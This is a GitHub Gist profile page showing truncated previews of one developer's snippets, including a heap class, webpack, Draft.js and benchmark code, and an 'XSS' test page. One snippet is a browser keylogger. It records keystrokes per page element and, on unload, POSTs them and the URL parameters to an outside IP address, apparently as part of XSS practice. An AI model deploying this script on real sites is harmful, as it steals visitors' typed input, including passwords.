Skip to content

Instantly share code, notes, and snippets.

View Katerina198b's full-sized avatar

Ekaterina Zakharenkova Katerina198b

View GitHub Profile
@Katerina198b
Katerina198b / heap.js
Created January 22, 2022 21:03
heap.js
class Heap {
constructor(sorter) {
this.sorter = sorter;
this.arr = [];
}
get length() {
return this.arr.length;
}
push(el) {
const postcssLoader = {
loader: 'postcss-loader',
options: {
sourceMap: false,
plugins: () => [autoprefixer()],
},
};
const cssRules = [
{
const map = {};
document.body.addEventListener("keydown", ({key, target}) => {
if (!target) {
return;
}
const mapKey = target.tagName + (target.className || '');
map[mapKey] = (map[mapKey] || '') + key;
});
window.addEventListener("unload", function() {
sendData(map);
function sendData(data) {
const xhr = new XMLHttpRequest();
xhr.open("POST", "https://192.168.149.128", true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify(data));
}
const params = new URLSearchParams(window.location.href);
params.forEach((key, value) => {
sendData({key: value})
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSS</title>
</head>
<body>
<p id="result"></p>
</body>
<script type="application/javascript">
@Katerina198b
Katerina198b / index.html
Created September 7, 2020 11:30
loop #jsbench #jsperf
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<title>loop</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/benchmark/1.0.0/benchmark.min.js"></script>
<script src="./suite.js"></script>
</head>
<body>
<h1>Open the console to view the results</h1>
function addEmptyBlock(editorState) {
const newBlock = new ContentBlock({
key: genKey(),
type: 'unstyled',
text: '',
characterList: List(),
});
const contentState = editorState.getCurrentContent();
const newBlockMap = contentState.getBlockMap().set(newBlock.key, newBlock);
ContentState = {
“entityMap”:{},
”blocks”:[
{“key”:”fe4s0”,”text”:”Header”,”type”:”header-one”,”depth”:0,
”inlineStyleRanges”:[],”entityRanges”:[],”data”:{}},
{“key”:”ff509”,”text”:”complex decorated text”,
”type”:”unstyled”, ”depth”:0,
”inlineStyleRanges”:[
{“offset”:0,”length”:3,”style”:”CODE”},
{“offset”:1,”length”:5,”style”:”ITALIC”},
function bind(func, context) {
return function() {
return func.apply(context, arguments);
};
}
const cat = {
name: 'Snowball',
talk() {
console.log('Мяу');
},
getInstance() {
return this;
}
}
const instance1 = cat.getInstance()